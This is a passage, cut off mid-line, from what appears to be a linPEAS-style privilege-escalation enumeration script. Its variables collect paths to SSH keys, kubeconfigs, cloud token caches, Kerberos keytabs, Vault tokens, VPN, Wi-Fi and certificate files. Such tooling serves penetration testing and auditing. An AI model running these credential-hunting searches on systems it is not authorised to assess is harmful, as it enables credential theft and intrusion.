"$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/systemd|^/lib|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "rocketchat\.service$" | sort | uniq | head -n 70) + PSTORAGE_SUPERVISORD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "supervisord\.conf$" | sort | uniq | head -n 70) + PSTORAGE_CESI=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "cesi\.conf$" | sort | uniq | head -n 70) + PSTORAGE_RSYNC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "rsyncd\.conf$|rsyncd\.secrets$" | sort | uniq | head -n 70) + PSTORAGE_HOSTAPD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "hostapd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_WIFI_CONNECTIONS=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc" | grep -E "system-connections$" | sort | uniq | head -n 70) + PSTORAGE_PAM_AUTH=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc" | grep -E "pam\.d$" | sort | uniq | head -n 70) + PSTORAGE_NFS_EXPORTS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/etc" | grep -E "exports$" | sort | uniq | head -n 70) + PSTORAGE_GLUSTERFS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "glusterfs\.pem$|glusterfs\.ca$|glusterfs\.key$" | sort | uniq | head -n 70) + PSTORAGE_ANACONDA_KS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "anaconda-ks\.cfg$" | sort | uniq | head -n 70) + PSTORAGE_RACOON=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "racoon\.conf$|psk\.txt$" | sort | uniq | head -n 70) + PSTORAGE_KUBERNETES=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "kubeconfig$|kubelet-kubeconfig$|psk\.txt$|\.kube.*$|kubelet$|kube-proxy$|kubernetes$" | sort | uniq | head -n 70) + PSTORAGE_VNC=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.vnc$|.*vnc.*\.c.*nf.*$|.*vnc.*\.ini$|.*vnc.*\.txt$|.*vnc.*\.xml$" | sort | uniq | head -n 70) + PSTORAGE_LDAP=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "ldap$" | sort | uniq | head -n 70) + PSTORAGE_LOG4SHELL=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/snap|^/lib32|^/.cache|^/cdrom|^/lib64|^/srv|^/etc|^/usr|^/tmp|^/media|^/private|^/applications|^/bin|^/lib|^/opt|^/sbin|^$GREPHOMESEARCH|^/mnt" | grep -E "log4j-core.*\.jar$" | sort | uniq | head -n 70) + PSTORAGE_OPENVPN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.ovpn$" | sort | uniq | head -n 70) + PSTORAGE_SSH=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "id_dsa.*$|id_rsa.*$|known_hosts$|authorized_hosts$|authorized_keys$" | sort | uniq | head -n 70) + PSTORAGE_CERTSB4=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib.*' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.pem$|.*\.cer$|.*\.crt$" | sort | uniq | head -n 70) + PSTORAGE_CERTSBIN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.csr$|.*\.der$" | sort | uniq | head -n 70) + PSTORAGE_CERTSCLIENT=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -v -E '^/usr/share/|^/etc/ssl/|^/usr/local/lib/|^/usr/lib/.*' | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E ".*\.pfx$|.*\.p12$" | sort | uniq | head -n 70) + PSTORAGE_SSH_AGENTS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/tmp" | grep -E "agent.*$" | sort | uniq | head -n 70) + PSTORAGE_SSH_CONFIG=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^$GREPHOMESEARCH|^/usr" | grep -E "ssh.*config$" | sort | uniq | head -n 70) + PSTORAGE_CLOUD_CREDENTIALS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "credentials\.db$|legacy_credentials\.db$|access_tokens\.db$|access_tokens\.json$|accessTokens\.json$|azureProfile\.json$|TokenCache\.dat$|AzureRMContext\.json$|\.bluemix$" | sort | uniq | head -n 70) + PSTORAGE_KERBEROS=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "krb5\.conf$|.*\.keytab$|\.k5login$|kadm5\.acl$|secrets\.ldb$|\.secrets\.mkey$|sssd\.conf$" | sort | uniq | head -n 70) + PSTORAGE_KIBANA=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "kibana\.y.*ml$" | sort | uniq | head -n 70) + PSTORAGE_KNOCKD=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E '/etc/init.d/' | grep -E "^/etc" | grep -E ".*knockd.*$" | sort | uniq | head -n 70) + PSTORAGE_LOGSTASH=$(echo -e "$FIND_DIR_ETC\n$FIND_DIR_BIN\n$FIND_DIR_CACHE\n$FIND_DIR_APPLICATIONS\n$FIND_DIR_TMP\n$FIND_DIR_USR\n$FIND_DIR_VAR\n$FIND_DIR_PRIVATE\n$FIND_DIR_HOMESEARCH\n$FIND_DIR_MNT\n$FIND_DIR_SNAP\n$FIND_DIR_CDROM\n$FIND_DIR_MEDIA\n$FIND_DIR_SRV\n$FIND_DIR_SBIN\n$FIND_DIR_OPT\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "logstash$" | sort | uniq | head -n 70) + PSTORAGE_ELASTICSEARCH=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "elasticsearch\.y.*ml$" | sort | uniq | head -n 70) + PSTORAGE_VAULT_SSH_HELPER=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "vault-ssh-helper\.hcl$" | sort | uniq | head -n 70) + PSTORAGE_VAULT_SSH_TOKEN=$(echo -e "$FIND_TMP\n$FIND_SYSTEMD\n$FIND_HOMESEARCH\n$FIND_OPT\n$FIND_USR\n$FIND_VAR\n$FIND_ETC\n$FIND_CONCOURSE_KEYS\n$FIND_LIB64\n$FIND_SBIN\n$FIND_CONCOURSE_AUTH\n$FIND_BIN\n$FIND_RUN\n$FIND_SRV\n$FIND_SNAP\n$FIND_APPLICATIONS\n$FIND_MNT\n$FIND_LIB\n$FIND_SYS\n$FIND_CACHE\n$FIND_MEDIA\n$FIND_SYSTEM\n$FIND_CDROM\n$FIND_PRIVATE\n$FIND_LIB32\n$FIND_CUSTOM\n$FIND_DIR_CUSTOM" | grep -E "^/var|^/applications|^/snap|^/etc|^/.cache|^/cdrom|^/opt|^/srv|^/tmp|^/usr|^/media|^/private|^/sbin|^/bin|^$GREPHOMESEARCH|^/mnt" | grep -E "\.vault-token$" | sort | uniq | head -n 70) + PSTORAGE_COUCHDB=$(echo -e 